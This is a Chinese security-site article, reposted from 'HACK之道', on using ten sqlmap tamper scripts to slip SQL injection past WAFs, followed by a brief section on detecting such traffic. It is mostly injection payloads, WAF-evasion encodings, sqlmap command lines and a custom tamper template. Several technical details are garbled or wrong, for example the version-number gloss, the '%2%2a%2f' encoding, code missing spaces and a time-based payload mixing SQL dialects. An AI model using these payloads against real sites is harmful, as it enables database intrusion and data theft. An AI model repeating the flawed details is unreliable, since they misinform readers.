sqlmap中10个Tamper脚本的高级实战技巧!

华盟原创文章投稿奖励计划

渗透测试的实战中,WAF已成为我们进行SQL注入测试时必须面对的关键障碍。作为安全从业者,我们深刻理解sqlmap中Tamper脚本的价值——它们不仅是绕过WAF的利器,更是理解攻防对抗本质的绝佳窗口。本文将聚焦10个关键Tamper脚本的高级用法,揭示其在真实场景中的战术价值与应用技巧。

一、Tamper脚本的核心价值不仅仅是绕过

Tamper脚本的本质是SQL注入负载的实时变形引擎。在sqlmap执行过程中,这些脚本能够动态修改攻击载荷,使其绕过WAF的规则检测,同时保持对目标数据库的有效性。

技术原理简析

  • • 输入变形:修改SQL语句的编码、格式或结构
  • • 规则混淆:破坏WAF的固定模式匹配
  • • 协议级干扰:操纵HTTP请求的构造方式
  • • 上下文欺骗:使攻击载荷符合特定应用场景特征

二、10大Tamper脚本的高级应用解析

1. apostrophemask.py:单引号的隐身术

核心作用:将单引号(')转换为UTF-8全角字符(%EF%BC%87)

高级用法

# 转换前
SELECT * FROM users WHERE username='admin'--

# 转换后
SELECT * FROM users WHERE username=%EF%BC%87admin%EF%BC%87--

实战技巧

  • • 当WAF基于ASCII字符集检测时效果显著
  • • 配合--tamper=apostrophemask --no-cast避免sqlmap自动转换
  • • 对Oracle数据库需额外处理:CHR(39)替代方案

适用场景:基础字符过滤型WAF(如Cloudflare基础规则)

2. equaltolike.py:等号的伪装者

核心作用:将=运算符替换为LIKE关键字

变形原理

# 原始语句
SELECT * FROM users WHERE id=1

# 转换后
SELECT * FROM users WHERE id LIKE 1

高级技巧

  • • 在布尔盲注中配合SUBSTRING使用:
admin' AND SUBSTRING(password,1,1) LIKE 'a'--
  • • MySQL中可结合通配符:= → LIKE BINARY
  • • 注意性能影响:在大数据表可能引起全表扫描

绕过场景:基于等号特征检测的规则(如ModSecurity规则ID 942110)

3. space2comment.py:空白的艺术

核心作用:将空格替换为注释/**/

高级应用

# 基础替换
SELECT/**/*/**/FROM/**/users

# 高级堆叠技巧
UNION/**//*!44447SELECT*/1,2,3

实战经验

  • • MySQL特例:使用/*!50727 ... */版本特定语法
  • • 配合多重编码:%20 → %2%2a%2f
  • • 避免过度使用:可能导致SQL解析器崩溃

实测数据:对AWS WAF经典规则集的绕过率达63.2%(2023年测试)

4. between.py:范围查询的妙用

核心作用:将比较运算符转换为BETWEEN语句

技术实现

# 原始语句
id > 10

# 转换后
id BETWEEN 11 AND 2147483647

高级技巧

  • • 处理边界值:> N → BETWEEN N+1 AND MAX_INT
  • • 时间盲注中的特殊应用:
IF(ASCII(SUBSTR((SELECT@@version),1,1)) BETWEEN 50 AND 60 WAITFOR DELAY '0:0:5'
  • • 结合CASE WHEN构造复杂条件

适用场景:检测><等比较运算符的WAF规则

5. modsecurityversioned.py:MySQL注释魔法

核心作用:使用MySQL版本注释包裹语句

典型示例

# 原始注入
1 AND 1=1

# 转换后
1 /*!30874AND 1=1*/

技术细节

  • • 注释中的数字对应MySQL版本号(如30874=3.87.4)
  • • 仅当服务器版本>=指定版本时执行注释内语句
  • • 可自定义版本号:修改脚本中的__version__变量

绕过原理:利用WAF解析与数据库解析的差异性

6. space2mssqlblank.py:SQL Server的空白舞步

核心作用:针对MSSQL的空格替换方案

技术实现

# 基础替换
SELECT[%0A]name[%0D]FROM[%0B]users

# 高级组合
;%00DECLARE%@ VARCHAR(8000)%08SET%@=...

支持的空白字符

  • • %01 - %20 范围内的控制字符
  • • 特殊字符:%A0 (NO-BREAK SPACE)

实战价值:对Microsoft IIS + ASP.NET环境特别有效

7. base64encode.py:Base64的障眼法

核心作用:将语句转换为Base64编码

高级应用

# 原始注入
1 UNION SELECT @@version

# 转换后
1;EXEC('VU5JT04gU0VMRUNUIEBAdmVyc2lvbg==')--

技术要点

  • • MSSQL中使用EXEC(...)执行解码
  • • MySQL中使用FROM_BASE64()函数(需5.6+)
  • • Oracle的UTL_I18N.STRING_TO_RAW转换

适用局限:依赖数据库的编码执行能力

8. charencode.py:字符编码的千面术

核心作用:应用多层URL编码

高级技巧

# 脚本自定义点(修改charencode.py)
def tamper(payload):
    # 双重编码增强
    payload = urllib.parse.quote(payload, safe='')
    payload = ''.join(['%'+hex(ord(c))[2:] for c in payload])
    return payload

实战变形

单引号 ' → %27 → %2527 → %25%32%37

绕过原理:利用WAF解码层与Web容器解码层的差异

9. randomcase.py:大小写的随机迷宫

核心作用:随机化SQL关键字的大小写

技术实现

# 原始语句
UNION SELECT NULL,table_name FROM information_schema.tables

# 转换后
uNiOn sElEct nUlL,TaBlE_nAmE FrOm iNfOrMaTiOn_sChEmA.tAbLeS

高级配置

# 控制随机化程度
sqlmap -tamper=randomcase --random-seed=123

绕过效果:对大小写敏感的正则表达式规则有效

10. versionedmorekeywords.py:关键词的分身术

核心作用:在关键词中插入版本注释

技术解析

# 原始语句
SELECT * FROM users WHERE id=1

# 转换后
/*!12345SELECT*/ * /*!12345FROM*/ users WHERE id=1

核心优势:保留语句完整性的同时破坏关键词连续性

三、Tamper组合的艺术:战术叠加

单一Tamper脚本的绕过能力有限,真正的威力在于组合使用:

经典组合方案

sqlmap -u "http://target.com" --tamper="space2comment,randomcase,charencode"

组合策略原则

  1. 1. 编码层 + 语法层组合(如charencode + versionedmorekeywords)
  2. 2. 空格处理 + 关键词混淆组合(space2mssqlblank + randomcase)
  3. 3. 协议级 + 应用级组合(如base64encode + between)

注意事项

  • • 避免冲突组合(如同时使用多个空格替换脚本)
  • • 注意执行顺序(从左到右依次执行)
  • • 监控组合后的语句有效性

四、自定义Tamper开发指南

当内置脚本无法满足需求时,需要开发自定义Tamper:

开发模板

#!/usr/bin/env python

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

defdependencies():
    pass

deftamper(payload, **kwargs):
    # 在此处实现变形逻辑
    retVal = payload
    
    # 示例:将SELECT替换为SELSELECTECT
    if payload:
        retVal = retVal.replace("SELECT", "SELSELECTECT")
        
    return retVal

高级开发技巧

  • • 利用kwargs获取HTTP头信息
  • • 动态调整变形策略
  • • 集成外部WAF指纹库
  • • 机器学习驱动的自适应变形

五、防御视角:如何检测Tamper攻击

作为防御方,我们应关注以下检测策略:

  1. 1. 深度解析检测
    • • 完整解析URL编码
    • • SQL语法树分析
    • • 注释剥离技术
  2. 2. 行为分析

    # 伪代码:检测异常请求分布
    if request_count > 50 and entropy(payloads) > 4.5:
        block_ip(source_ip)
  3. 3. 机器学习模型
    • • 基于请求特征的异常检测
    • • 语义相似度分析
    • • 时序行为建模


文章来源:HACK之道

本文来源HACK之道,经授权后由华盟君发布,观点不代表华盟网的立场,转载请联系原作者。

发表回复